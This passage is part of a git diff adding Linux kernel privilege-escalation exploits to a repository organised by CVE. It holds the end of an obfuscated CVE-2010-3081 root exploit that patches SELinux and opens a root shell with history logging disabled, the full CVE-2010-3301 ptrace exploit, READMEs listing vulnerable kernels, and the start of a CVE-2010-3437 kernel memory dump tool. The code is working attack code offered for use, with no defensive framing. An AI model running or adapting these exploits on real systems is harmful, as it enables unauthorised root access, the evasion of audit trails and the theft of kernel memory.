magiclen = get_socklen(idtbase + (i*4), Y0Y0STOP);
|
||||
bitch_call(&at, (void*)Y0Y0STOP);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
static void y0y0stack()
|
||||
{
|
||||
void* map = mmap((void*)Y0Y0SMAP,
|
||||
PAGE_SIZE,
|
||||
PROT_READ|PROT_WRITE,
|
||||
MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED,
|
||||
-1,0);
|
||||
if(MAP_FAILED == map)
|
||||
__xxxfdgftr_hshsgdt("mmap");
|
||||
}
|
||||
|
||||
static void y0y0code()
|
||||
{
|
||||
void* map = mmap((void*)Y0Y0CMAP,
|
||||
PAGE_SIZE,
|
||||
|
||||
#ifdef TRY_REMAP_DEFAULT
|
||||
PROT_READ|PROT_WRITE,
|
||||
#else
|
||||
PROT_READ|PROT_WRITE|PROT_EXEC,
|
||||
#endif
|
||||
MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED,
|
||||
-1,0);
|
||||
if(MAP_FAILED == map)
|
||||
__xxxfdgftr_hshsgdt("mmap");
|
||||
|
||||
}
|
||||
|
||||
|
||||
static int rey0y0code(unsigned long old)
|
||||
{
|
||||
int fd;
|
||||
void *map;
|
||||
volatile char wizard;
|
||||
char cwd[1024];
|
||||
|
||||
getcwd(cwd, sizeof(cwd));
|
||||
strcat(cwd, "/__tmpfile");
|
||||
|
||||
unlink(cwd);
|
||||
fd = open(cwd, O_RDWR|O_CREAT, S_IRWXU);
|
||||
if(fd < 0)
|
||||
return -1;
|
||||
|
||||
write(fd, (const void*)old, PAGE_SIZE);
|
||||
if(munmap((void*)old, PAGE_SIZE) < 0)
|
||||
return -1;
|
||||
|
||||
map = mmap((void*)old,
|
||||
PAGE_SIZE,
|
||||
PROT_READ|PROT_EXEC,
|
||||
MAP_PRIVATE|MAP_FIXED,
|
||||
fd,0);
|
||||
if(map == MAP_FAILED)
|
||||
return -1;
|
||||
|
||||
/* avoid lazy page fault handler
|
||||
* Triple Fault when using idt vector
|
||||
* and no pages are already mapped:)
|
||||
*/
|
||||
|
||||
wizard = *((char*)old);
|
||||
unlink(cwd);
|
||||
return wizard;
|
||||
}
|
||||
|
||||
|
||||
int main(int argc, char*argv[])
|
||||
{
|
||||
int uid,fd;
|
||||
__yyrhdgdtfs66ytgetrfd *patch, idtb;
|
||||
struct pollfd pfd;
|
||||
|
||||
|
||||
printf(BANNER);
|
||||
|
||||
uid = getuid();
|
||||
|
||||
env_prepare(argc, argv);
|
||||
|
||||
y0y0stack();
|
||||
y0y0code();
|
||||
|
||||
if(useidt)
|
||||
{
|
||||
idtb = getidt();
|
||||
__gggdfstsgdt_dddex("$$$ h0m3 b4s3 addr3ss: %llx\n", idtb);
|
||||
__pppp_tegddewyfg("$$$ Bu1ld1ng r1ngzer0c00l sh3llc0d3 - IDT m3th34d\n");
|
||||
patch = (__yyrhdgdtfs66ytgetrfd*)(ruujhdbgatrfe345 + RJMPDDTGR_OFF_IDT);
|
||||
*patch = (__yyrhdgdtfs66ytgetrfd)(J0J0R00T);
|
||||
|
||||
__pppp_tegddewyfg("$$$ Prepare: m0rn1ng w0rk0ut b1tch3z\n");
|
||||
|
||||
if(flags & KERN_DIS_GGSTEYGDTREFRET_SEL1NUX)
|
||||
{
|
||||
__pppp_tegddewyfg("$$$ add1ng sp3c14l c0de t0 rem0v3 s3linux t3rr0r1zt thr34t\n");
|
||||
p4tch_sel1nux_codztegfaddczda(curr_target);
|
||||
}
|
||||
|
||||
__dhdyetgdfstreg__((void*)J0J0S, ruujhdbgatrfe345, sizeof(ruujhdbgatrfe345));
|
||||
}
|
||||
else if(usefops || uselsm)
|
||||
{
|
||||
__pppp_tegddewyfg("$$$ Bu1ld1ng r1ngzer0c00l sh3llc0d3 - F0PZzzZzZZ/LSD(M) m3th34d\n");
|
||||
patch = (__yyrhdgdtfs66ytgetrfd*)(ttrfd0 + RJMPDDTGR_OFF);
|
||||
*patch = (__yyrhdgdtfs66ytgetrfd)(J0J0R00T);
|
||||
|
||||
__setmcbuffer(J0J0S);
|
||||
|
||||
__pppp_tegddewyfg("$$$ Prepare: m0rn1ng w0rk0ut b1tch3z\n");
|
||||
if(uselsm && (flags & KERN_DIS_GGSTEYGDTREFRET_SEL1NUX))
|
||||
{
|
||||
__pppp_tegddewyfg("$$$ add1ng sp3c14l c0de t0 rem0v3 s3linux t3rr0r1zt thr34t\n");
|
||||
p4tch_sel1nux_codztegfaddczda(curr_target);
|
||||
}
|
||||
__dhdyetgdfstreg__((void*)J0J0S, ttrfd0, sizeof(ttrfd0));
|
||||
}
|
||||
|
||||
|
||||
|
||||
/* set shellcode level 2 */
|
||||
if(flags & KERN_DGGDYDTEGGETFDRLAK)
|
||||
{
|
||||
__pppp_tegddewyfg("$$$ Us1ng cr3d s3ash3llc0d3z\n");
|
||||
__dhdyetgdfstreg__((void*)J0J0R00T, r1ngrrrrrrr, sizeof(r1ngrrrrrrr));
|
||||
}
|
||||
else
|
||||
{
|
||||
__pppp_tegddewyfg("$$$ Us1ng st4nd4rd s3ash3llz\n");
|
||||
__dhdyetgdfstreg__((void*)J0J0R00T, ttrg0ccc, sizeof(ttrg0ccc));
|
||||
*((unsigned int*)(J0J0R00T + R0C_0FF)) = uid;
|
||||
}
|
||||
|
||||
__pppp_tegddewyfg("$$$ 0p3n1ng th3 m4giq p0rt4l\n");
|
||||
s = socket(AF_INET, SOCK_DGRAM, 0);
|
||||
if(s < 0)
|
||||
__xxxfdgftr_hshsgdt("socket");
|
||||
|
||||
fillsocketcallAT();
|
||||
|
||||
|
||||
#ifdef TRY_REMAP_DEFAULT
|
||||
if(rey0y0code(Y0Y0CMAP) < 0)
|
||||
__yyy_tegdtfsrer("!!! Un4bl3 t0 r3m4p sh1t\t\n");
|
||||
#endif
|
||||
|
||||
if(useidt)
|
||||
{
|
||||
|
||||
__yyrhdgdtfs66ytgetrfd idtentry = idtb + (2*sizeof(__yyrhdgdtfs66ytgetrfd)*0xdd);
|
||||
__gggdfstsgdt_dddex("$$$ Us1ng 1dt 3ntry: %d\n", 0xdd);
|
||||
idt_smash((idtentry));
|
||||
|
||||
sleep(1);
|
||||
asm volatile("int $0xdd\t\n");
|
||||
}
|
||||
else if(usefops)
|
||||
{
|
||||
magiclen = get_socklen(_m_fops, Y0Y0STOP);
|
||||
magiclen -= 7*sizeof(__yyrhdgdtfs66ytgetrfd);
|
||||
__gggdfstsgdt_dddex("$$$ m4q1c p0rt4l l3n f0und: 0x%x\n", magiclen);
|
||||
|
||||
__pppp_tegddewyfg("$$$ 0v3r thr0w f0ps g0v3rnm3nt\n");
|
||||
bitch_call(&at, (void*)Y0Y0STOP);
|
||||
sleep(1);
|
||||
|
||||
fd = open(TMAGIC_66TDFDRTS, O_RDONLY);
|
||||
if(fd < 0)
|
||||
__xxxfdgftr_hshsgdt("!!! fuq t1m3r_l1st");
|
||||
|
||||
pfd.fd = fd;
|
||||
pfd.events = POLLIN | POLLOUT;
|
||||
poll(&pfd, 1, 0);
|
||||
}
|
||||
else if(uselsm)
|
||||
{
|
||||
int msqid;
|
||||
__yyrhdgdtfs66ytgetrfd selinux_msg_off = curr_target->selinux_ops + (8*RHEL_LSM_OFF);
|
||||
__yyrhdgdtfs66ytgetrfd dummy_msg_off = curr_target->dummy_security_ops + (8*RHEL_LSM_OFF);
|
||||
__yyrhdgdtfs66ytgetrfd capability_msg_off = curr_target->capability_ops + (8*RHEL_LSM_OFF);
|
||||
|
||||
|
||||
msqid = msgget(0, IPC_PRIVATE|0600);
|
||||
if(msqid < 0)
|
||||
__xxxfdgftr_hshsgdt("!!! fuqqqqqq msgg3t");
|
||||
|
||||
|
||||
magiclen = get_socklen(selinux_msg_off, Y0Y0STOP);
|
||||
__setmcbuffer(J0J0S);
|
||||
bitch_call(&at, (void*)Y0Y0STOP);
|
||||
magiclen = get_socklen(selinux_msg_off+4, Y0Y0STOP);
|
||||
__setmcbuffer(0);
|
||||
bitch_call(&at, (void*)Y0Y0STOP);
|
||||
|
||||
|
||||
magiclen = get_socklen(dummy_msg_off, Y0Y0STOP);
|
||||
__setmcbuffer(J0J0S);
|
||||
bitch_call(&at, (void*)Y0Y0STOP);
|
||||
magiclen = get_socklen(dummy_msg_off+4, Y0Y0STOP);
|
||||
__setmcbuffer(0);
|
||||
bitch_call(&at, (void*)Y0Y0STOP);
|
||||
|
||||
|
||||
magiclen = get_socklen(capability_msg_off, Y0Y0STOP);
|
||||
__setmcbuffer(J0J0S);
|
||||
bitch_call(&at, (void*)Y0Y0STOP);
|
||||
magiclen = get_socklen(capability_msg_off+4, Y0Y0STOP);
|
||||
__setmcbuffer(0);
|
||||
bitch_call(&at, (void*)Y0Y0STOP);
|
||||
|
||||
|
||||
msgctl(msqid, IPC_RMID, (struct msqid_ds *) NULL); // exploit it
|
||||
}
|
||||
|
||||
munmap((void*)Y0Y0CMAP, PAGE_SIZE);
|
||||
|
||||
/* exec */
|
||||
if(getuid() == 0)
|
||||
{
|
||||
pid_t pid;
|
||||
__pppp_tegddewyfg("$$$ bl1ng bl1ng n1gg4 :PppPpPPpPPPpP\n");
|
||||
pid = fork();
|
||||
if(pid == 0)
|
||||
{
|
||||
char *args[] = {"/bin/sh", "-i", NULL};
|
||||
char *envp[] = {"TERM=linux", "BASH_HISTORY=/dev/null", "HISTORY=/dev/null", "history=/dev/null", "HISTFILE=/dev/null", "HISTFILESIZE=0",
|
||||
"PATH=/bin:/sbin:/usr/sbin:/usr/bin:/usr/local/bin:/usr/local/sbin", NULL };
|
||||
execve("/bin/sh", args, envp);
|
||||
}
|
||||
else
|
||||
{
|
||||
int status;
|
||||
waitpid(pid, &status, 0);
|
||||
}
|
||||
}
|
||||
else
|
||||
__pppp_tegddewyfg("!!! y0u fuq1ng f41l. g3t th3 fuq 0ut!\n");
|
||||
|
||||
close(s);
|
||||
return 0;
|
||||
}
|
||||
|
||||
#endif // -m32
|
||||
|
17
98-Linux提权/2010/CVE-2010-3081/README.md
Normal file
17
98-Linux提权/2010/CVE-2010-3081/README.md
Normal file
@ -0,0 +1,17 @@
|
||||
# CVE-2010-3081
|
||||
|
||||
CVE-2010-3081
|
||||
|
||||
Vulnerability reference:
|
||||
* [CVE-2010-3081](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2010-3081)
|
||||
* [exp-db](https://www.exploit-db.com/exploits/15024/)
|
||||
|
||||
## Kernels
|
||||
```
|
||||
2.6.0, 2.6.1, 2.6.2, 2.6.3, 2.6.4, 2.6.5, 2.6.6, 2.6.7, 2.6.8, 2.6.9, 2.6.10, 2.6.11, 2.6.12, 2.6.13, 2.6.14, 2.6.15, 2.6.16, 2.6.17, 2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22, 2.6.23, 2.6.24, 2.6.25, 2.6.26, 2.6.27, 2.6.28, 2.6.29, 2.6.30, 2.6.31, 2.6.32, 2.6.33
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
|
194
98-Linux提权/2010/CVE-2010-3301/15023.c
Normal file
194
98-Linux提权/2010/CVE-2010-3301/15023.c
Normal file
@ -0,0 +1,194 @@
|
||||
/*
|
||||
* exploit for x86_64 linux kernel ia32syscall emulation (again)
|
||||
* rediscovered by ben hawkes
|
||||
* with help from robert swiecki and tavis ormandy
|
||||
*
|
||||
* original vulnerability discovered by Wojciech Purczynski
|
||||
*
|
||||
* original exploit by
|
||||
* Robert Swiecki <robert_at_swiecki.net>
|
||||
* Przemyslaw Frasunek <venglin_at_freebsd.lublin.pl>
|
||||
* Pawel Pisarczyk <pawel_at_immos.com.pl>
|
||||
*
|
||||
* kernel priv escalation code borrowed from spender
|
||||
*
|
||||
*/
|
||||
|
||||
#include <sys/types.h>
|
||||
#include <sys/wait.h>
|
||||
#include <sys/ptrace.h>
|
||||
#include <inttypes.h>
|
||||
#include <sys/reg.h>
|
||||
#include <unistd.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <sys/mman.h>
|
||||
#include <string.h>
|
||||
|
||||
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
|
||||
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
|
||||
_commit_creds commit_creds;
|
||||
_prepare_kernel_cred prepare_kernel_cred;
|
||||
|
||||
int kernelmodecode(void *file, void *vma)
|
||||
{
|
||||
commit_creds(prepare_kernel_cred(0));
|
||||
return -1;
|
||||
}
|
||||
|
||||
unsigned long
|
||||
get_symbol(char *name)
|
||||
{
|
||||
FILE *f;
|
||||
unsigned long addr;
|
||||
char dummy;
|
||||
char sname[512];
|
||||
int ret = 0, oldstyle = 0;
|
||||
|
||||
f = fopen("/proc/kallsyms", "r");
|
||||
if (f == NULL) {
|
||||
f = fopen("/proc/ksyms", "r");
|
||||
if (f == NULL)
|
||||
return 0;
|
||||
oldstyle = 1;
|
||||
}
|
||||
|
||||
while (ret != EOF) {
|
||||
if (!oldstyle) {
|
||||
ret = fscanf(f, "%p %c %s\n", (void **) &addr, &dummy, sname);
|
||||
} else {
|
||||
ret = fscanf(f, "%p %s\n", (void **) &addr, sname);
|
||||
if (ret == 2) {
|
||||
char *p;
|
||||
if (strstr(sname, "_O/") || strstr(sname, "_S.")) {
|
||||
continue;
|
||||
}
|
||||
p = strrchr(sname, '_');
|
||||
if (p > ((char *) sname + 5) && !strncmp(p - 3, "smp", 3)) {
|
||||
p = p - 4;
|
||||
while (p > (char *)sname && *(p - 1) == '_') {
|
||||
p--;
|
||||
}
|
||||
*p = '\0';
|
||||
}
|
||||
}
|
||||
}
|
||||
if (ret == 0) {
|
||||
fscanf(f, "%s\n", sname);
|
||||
continue;
|
||||
}
|
||||
if (!strcmp(name, sname)) {
|
||||
printf("resolved symbol %s to %p\n", name, (void *) addr);
|
||||
fclose(f);
|
||||
return addr;
|
||||
}
|
||||
}
|
||||
fclose(f);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
static void docall(uint64_t *ptr, uint64_t size)
|
||||
{
|
||||
commit_creds = (_commit_creds) get_symbol("commit_creds");
|
||||
if (!commit_creds) {
|
||||
printf("symbol table not available, aborting!\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
prepare_kernel_cred = (_prepare_kernel_cred) get_symbol("prepare_kernel_cred");
|
||||
if (!prepare_kernel_cred) {
|
||||
printf("symbol table not available, aborting!\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
uint64_t tmp = ((uint64_t)ptr & ~0x00000000000FFF);
|
||||
|
||||
printf("mapping at %lx\n", tmp);
|
||||
|
||||
if (mmap((void*)tmp, size, PROT_READ|PROT_WRITE|PROT_EXEC,
|
||||
MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) == MAP_FAILED) {
|
||||
printf("mmap fault\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
for (; (uint64_t) ptr < (tmp + size); ptr++)
|
||||
*ptr = (uint64_t)kernelmodecode;
|
||||
|
||||
__asm__("\n"
|
||||
"\tmovq $0x101, %rax\n"
|
||||
"\tint $0x80\n");
|
||||
|
||||
printf("UID %d, EUID:%d GID:%d, EGID:%d\n", getuid(), geteuid(), getgid(), getegid());
|
||||
execl("/bin/sh", "bin/sh", NULL);
|
||||
printf("no /bin/sh ??\n");
|
||||
exit(0);
|
||||
}
|
||||
|
||||
int main(int argc, char **argv)
|
||||
{
|
||||
int pid, status, set = 0;
|
||||
uint64_t rax;
|
||||
uint64_t kern_s = 0xffffffff80000000;
|
||||
uint64_t kern_e = 0xffffffff84000000;
|
||||
uint64_t off = 0x0000000800000101 * 8;
|
||||
|
||||
if (argc == 4) {
|
||||
docall((uint64_t*)(kern_s + off), kern_e - kern_s);
|
||||
exit(0);
|
||||
}
|
||||
|
||||
if ((pid = fork()) == 0) {
|
||||
ptrace(PTRACE_TRACEME, 0, 0, 0);
|
||||
execl(argv[0], argv[0], "2", "3", "4", NULL);
|
||||
perror("exec fault");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
if (pid == -1) {
|
||||
printf("fork fault\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
for (;;) {
|
||||
if (wait(&status) != pid)
|
||||
continue;
|
||||
|
||||
if (WIFEXITED(status)) {
|
||||
printf("Process finished\n");
|
||||
break;
|
||||
}
|
||||
|
||||
if (!WIFSTOPPED(status))
|
||||
continue;
|
||||
|
||||
if (WSTOPSIG(status) != SIGTRAP) {
|
||||
printf("Process received signal: %d\n", WSTOPSIG(status));
|
||||
break;
|
||||
}
|
||||
|
||||
rax = ptrace(PTRACE_PEEKUSER, pid, 8*ORIG_RAX, 0);
|
||||
if (rax == 0x000000000101) {
|
||||
if (ptrace(PTRACE_POKEUSER, pid, 8*ORIG_RAX, off/8) == -1) {
|
||||
printf("PTRACE_POKEUSER fault\n");
|
||||
exit(1);
|
||||
}
|
||||
set = 1;
|
||||
//rax = ptrace(PTRACE_PEEKUSER, pid, 8*ORIG_RAX, 0);
|
||||
}
|
||||
|
||||
if ((rax == 11) && set) {
|
||||
ptrace(PTRACE_DETACH, pid, 0, 0);
|
||||
for(;;)
|
||||
sleep(10000);
|
||||
}
|
||||
|
||||
if (ptrace(PTRACE_SYSCALL, pid, 1, 0) == -1) {
|
||||
printf("PTRACE_SYSCALL fault\n");
|
||||
exit(1);
|
||||
}
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
25
98-Linux提权/2010/CVE-2010-3301/README.md
Normal file
25
98-Linux提权/2010/CVE-2010-3301/README.md
Normal file
@ -0,0 +1,25 @@
|
||||
# CVE-2010-3301
|
||||
|
||||
CVE-2010-3301
|
||||
|
||||
Vulnerability reference:
|
||||
* [CVE-2010-3301](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2010-3301)
|
||||
* [exp-db](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2010-3301)
|
||||
|
||||
## Kernels
|
||||
```
|
||||
2.6.26, 2.6.27, 2.6.28, 2.6.29, 2.6.30, 2.6.31, 2.6.32, 2.6.33, 2.6.34
|
||||
```
|
||||
|
||||
### This binary has been verified on:
|
||||
- Debian 6 - Linux 2.6.32-trunk-amd64 x86_64
|
||||
- Debian 6 - Linux 2.6.33-2-amd64 x86_64
|
||||
- Debian 6 - Linux 2.6.34-1-amd64 x86_64
|
||||
- Debian 6 - Linux 2.6.35-trunk-amd64 x86_64
|
||||
- Ubuntu 10.10 - 2.6.35-19-server #28-Ubuntu x86_64
|
||||
- Ubuntu 10.04.1 - 2.6.32-24-server #39-Ubuntu x86_64
|
||||
- Ubuntu 10.04 - 2.6.32-21-server #32-Ubuntu x86_64
|
||||
|
||||
|
||||
|
||||
|
BIN
98-Linux提权/2010/CVE-2010-3301/ptrace_kmod2-64
Normal file
BIN
98-Linux提权/2010/CVE-2010-3301/ptrace_kmod2-64
Normal file
Binary file not shown.
359
98-Linux提权/2010/CVE-2010-3437/15150.c
Normal file
359
98-Linux提权/2010/CVE-2010-3437/15150.c
Normal file
@ -0,0 +1,359 @@
|
||||
/*
|
||||
* cve-2010-3437.c
|
||||
*
|
||||
* Linux Kernel < 2.6.36-rc6 pktcdvd Kernel Memory Disclosure
|
||||
* Jon Oberheide <jon@oberheide.org>
|
||||
* http://jon.oberheide.org
|
||||
*
|
||||
* Information:
|
||||
*
|
||||
* https://bugzilla.redhat.com/show_bug.cgi?id=638085
|
||||
*
|
||||
* The PKT_CTRL_CMD_STATUS device ioctl retrieves a pointer to a
|
||||
* pktcdvd_device from the global pkt_devs array. The index into this
|
||||
* array is provided directly by the user and is a signed integer, so the
|
||||
* comparison to ensure that it falls within the bounds of this array will
|
||||
* fail when provided with a negative index.
|
||||
*
|
||||
* Usage:
|
||||
*
|
||||
* $ gcc cve-2010-3437.c -o cve-2010-3437
|
||||
* $ ./cve-2010-3437
|
||||
* usage: ./cve-2010-3437 <address> <length>
|
||||
* $ ./cve-2010-3437 0xc0102290 64
|
||||
* [+] searching for pkt_devs kernel symbol...
|
||||
* [+] found pkt_devs at 0xc086fcc0
|
||||
* [+] opening pktcdvd device...
|
||||
* [+] calculated dereference address of 0x790070c0
|
||||
* [+] mapping page at 0x79007000 for pktcdvd_device dereference...
|
||||
* [+] setting up fake pktcdvd_device structure...
|
||||
* [+] dumping kmem from 0xc0102290 to 0xc01022d0 via malformed ioctls...
|
||||
* [+] dumping kmem to output...
|
||||
*
|
||||
* 55 89 e5 0f 1f 44 00 00 8b 48 3c 8b 50 04 8b ...
|
||||
* 55 89 e5 57 56 53 0f 1f 44 00 00 89 d3 89 e2 ...
|
||||
*
|
||||
* Notes:
|
||||
*
|
||||
* Pass the desired kernel memory address and dump length as arguments.
|
||||
*
|
||||
* We can disclose 4 bytes of arbitrary kernel memory per ioctl call by
|
||||
* specifying a large negative device index, causing the kernel to
|
||||
* dereference to our fake pktcdvd_device structure in userspace and copy
|
||||
* data to userspace from an attacker-controlled address. Since only 4
|
||||
* bytes of kmem are disclosed per ioctl call, large dump sizes may take a
|
||||
* few seconds.
|
||||
*
|
||||
* Tested on Ubuntu Lucid 10.04. 32-bit only for now.
|
||||
*/
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdint.h>
|
||||
#include <string.h>
|
||||
#include <errno.h>
|
||||
#include <unistd.h>
|
||||
#include <fcntl.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/ioctl.h>
|
||||
#include <sys/utsname.h>
|
||||
#include <sys/mman.h>
|
||||
|
||||
#define DEV_INDEX -300000000
|
||||
#define PAGE_SIZE 4096
|
||||
#define PKT_CTRL_CMD_STATUS 2
|
||||
|
||||
struct pkt_ctrl_command {
|
||||
uint32_t command;
|
||||
int32_t dev_index;
|
||||
uint32_t dev;
|
||||
uint32_t pkt_dev;
|
||||
uint32_t num_devices;
|
||||
uint32_t padding;
|
||||
};
|
||||
|
||||
#define PACKET_IOCTL_MAGIC ('X')
|
||||
#define PACKET_CTRL_CMD _IOWR(PACKET_IOCTL_MAGIC, 1, struct pkt_ctrl_command)
|
||||
|
||||
struct block_device {
|
||||
uint32_t bd_dev;
|
||||
} bd;
|
||||
|
||||
struct pktcdvd_device {
|
||||
struct block_device *bdev;
|
||||
} pd;
|
||||
|
||||
#define MINORBITS 20
|
||||
#define MKDEV(ma,mi) (((ma) << MINORBITS) | (mi))
|
||||
|
||||
uint32_t
|
||||
new_decode_dev(uint32_t dev)
|
||||
{
|
||||
unsigned major = (dev & 0xfff00) >> 8;
|
||||
unsigned minor = (dev & 0xff) | ((dev >> 12) & 0xfff00);
|
||||
return MKDEV(major, minor);
|
||||
}
|
||||
|
||||
const char hex_asc[] = "0123456789abcdef";
|
||||
#define hex_asc_lo(x) hex_asc[((x) & 0x0f)]
|
||||
#define hex_asc_hi(x) hex_asc[((x) & 0xf0) >> 4]
|
||||
|
||||
void
|
||||
hex_dump_to_buffer(const void *buf, size_t len, int rowsize, int groupsize, char *linebuf, size_t linebuflen, int ascii)
|
||||
{
|
||||
const uint8_t *ptr = buf;
|
||||
uint8_t ch;
|
||||
int j, lx = 0;
|
||||
int ascii_column;
|
||||
|
||||
if (rowsize != 16 && rowsize != 32)
|
||||
rowsize = 16;
|
||||
|
||||
if (!len)
|
||||
goto nil;
|
||||
if (len > rowsize)
|
||||
len = rowsize;
|
||||
if ((len % groupsize) != 0)
|
||||
groupsize = 1;
|
||||
|
||||
switch (groupsize) {
|
||||
case 8: {
|
||||
const uint64_t *ptr8 = buf;
|
||||
int ngroups = len / groupsize;
|
||||
|
||||
for (j = 0; j < ngroups; j++)
|
||||
lx += snprintf(linebuf + lx, linebuflen - lx,
|
||||
"%16.16llx ", (unsigned long long)*(ptr8 + j));
|
||||
ascii_column = 17 * ngroups + 2;
|
||||
break;
|
||||
}
|
||||
|
||||
case 4: {
|
||||
const uint32_t *ptr4 = buf;
|
||||
int ngroups = len / groupsize;
|
||||
|
||||
for (j = 0; j < ngroups; j++)
|
||||
lx += snprintf(linebuf + lx, linebuflen - lx,
|
||||
"%8.8x ", *(ptr4 + j));
|
||||
ascii_column = 9 * ngroups + 2;
|
||||
break;
|
||||
}
|
||||
|
||||
case 2: {
|
||||
const uint16_t *ptr2 = buf;
|
||||
int ngroups = len / groupsize;
|
||||
|
||||
for (j = 0; j < ngroups; j++)
|
||||
lx += snprintf(linebuf + lx, linebuflen - lx,
|
||||
"%4.4x ", *(ptr2 + j));
|
||||
ascii_column = 5 * ngroups + 2;
|
||||
break;
|
||||
}
|
||||
|
||||
default:
|
||||
for (j = 0; (j < rowsize) && (j < len) && (lx + 4) < linebuflen;
|
||||
j++) {
|
||||
ch = ptr[j];
|
||||
linebuf[lx++] = hex_asc_hi(ch);
|
||||
linebuf[lx++] = hex_asc_lo(ch);
|
||||
linebuf[lx++] = ' ';
|
||||
}
|
||||
ascii_column = 3 * rowsize + 2;
|
||||
break;
|
||||
}
|
||||
if (!ascii)
|
||||
goto nil;
|
||||
|
||||
while (lx < (linebuflen - 1) && lx < (ascii_column - 1))
|
||||
linebuf[lx++] = ' ';
|
||||
for (j = 0; (j < rowsize) && (j < len) && (lx + 2) < linebuflen; j++)
|
||||
linebuf[lx++] = (isascii(ptr[j]) && isprint(ptr[j])) ? ptr[j]
|
||||
: '.';
|
||||
nil:
|
||||
linebuf[lx++] = '\0';
|
||||
}
|
||||
|
||||
void
|
||||
print_hex_dump(int rowsize, int groupsize, const void *buf, size_t len, int ascii)
|
||||
{
|
||||
const uint8_t *ptr = buf;
|
||||
int i, linelen, remaining = len;
|
||||
unsigned char linebuf[200];
|
||||
|
||||
if (rowsize != 16 && rowsize != 32)
|
||||
rowsize = 16;
|
||||
|
||||
for (i = 0; i < len; i += rowsize) {
|
||||
linelen = ((remaining) < (rowsize) ? (remaining) : (rowsize));
|
||||
remaining -= rowsize;
|
||||
hex_dump_to_buffer(ptr + i, linelen, rowsize, groupsize,
|
||||
linebuf, sizeof(linebuf), ascii);
|
||||
printf("%s\n", linebuf);
|
||||
}
|
||||
}
|
||||
|
||||
unsigned long
|
||||
get_kernel_symbol(char *name)
|
||||
{
|
||||
FILE *f;
|
||||
unsigned long addr;
|
||||
struct utsname ver;
|
||||
char dummy, sname[512];
|
||||
int ret, rep = 0, oldstyle = 0;
|
||||
|
||||
f = fopen("/proc/kallsyms", "r");
|
||||
if (f == NULL) {
|
||||
f = fopen("/proc/ksyms", "r");
|
||||
if (f == NULL) {
|
||||
goto fallback;
|
||||
}
|
||||
oldstyle = 1;
|
||||
}
|
||||
|
||||
repeat:
|
||||
ret = 0;
|
||||
while(ret != EOF) {
|
||||
if (!oldstyle) {
|
||||
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
|
||||
} else {
|
||||
ret = fscanf(f, "%p %s\n", (void **)&addr, sname);
|
||||
if (ret == 2) {
|
||||
char *p;
|
||||
if (strstr(sname, "_O/") || strstr(sname, "_S.")) {
|
||||
continue;
|
||||
}
|
||||
p = strrchr(sname, '_');
|
||||
if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) {
|
||||
p = p - 4;
|
||||
while (p > (char *)sname && *(p - 1) == '_') {
|
||||
p--;
|
||||
}
|
||||
*p = '\0';
|
||||
}
|
||||
}
|
||||
}
|
||||
if (ret == 0) {
|
||||
fscanf(f, "%s\n", sname);
|
||||
continue;
|
||||
}
|
||||
if (!strcmp(name, sname)) {
|
||||
fclose(f);
|
||||
return addr;
|
||||
}
|
||||
}
|
||||
|
||||
fclose(f);
|
||||
if (rep) {
|
||||
return 0;
|
||||
}
|
||||
fallback:
|
||||
uname(&ver);
|
||||
if (strncmp(ver.release, "2.6", 3)) {
|
||||
oldstyle = 1;
|
||||
}
|
||||
sprintf(sname, "/boot/System.map-%s", ver.release);
|
||||
f = fopen(sname, "r");
|
||||
if (f == NULL) {
|
||||
return 0;
|
||||
}
|
||||
rep = 1;
|
||||
goto repeat;
|
||||
}
|
||||
|
||||
void
|
||||
usage(char **argv)
|
||||
{
|
||||
fprintf(stderr, "usage: %s <address> <length>\n", argv[0]);
|
||||
exit(1);
|
||||
}
|
||||
|
||||
int
|
||||
main(int argc, char **argv)
|
||||
{
|
||||
int fd, ret, length;
|
||||
void *mem, *dump, *ptr;
|
||||
struct pkt_ctrl_command cmd;
|
||||
unsigned long pkt_devs, map_addr, deref_addr;
|
||||
unsigned long start_addr, end_addr, curr_addr;
|
||||
|
||||
if (argc < 3) {
|
||||
usage(argv);
|
||||
}
|
||||
|
||||
start_addr = strtoul(argv[1], NULL, 0);
|
||||
length = strtoul(argv[2], NULL, 0);
|
||||
end_addr = start_addr + length;
|
||||
|
||||
dump = malloc(length);
|
||||
if (!dump) {
|
||||
printf("[-] failed to allocate memory for kmem dump\n");
|
||||
exit(1);
|
||||
}
|
||||
memset(dump, 0, length);
|
||||
|
||||
printf("[+] searching for pkt_devs kernel symbol...\n");
|
||||
|
||||
pkt_devs = get_kernel_symbol("pkt_devs");
|
||||
if (!pkt_devs) {
|
||||
printf("[-] could not find pkt_devs kernel symbol\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
printf("[+] found pkt_devs at %p\n", (void *) pkt_devs);
|
||||
|
||||
printf("[+] opening pktcdvd device...\n");
|
||||
|
||||
fd = open("/dev/pktcdvd/control", O_RDWR);
|
||||
if (fd < 0) {
|
||||
printf("[-] open of pktcdvd device failed\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
deref_addr = pkt_devs + (DEV_INDEX * sizeof(void *));
|
||||
map_addr = deref_addr & ~(PAGE_SIZE-1);
|
||||
|
||||
printf("[+] calculated dereference address of %p\n", (void *) deref_addr);
|
||||
printf("[+] mapping page at %p for pktcdvd_device dereference...\n", (void *) map_addr);
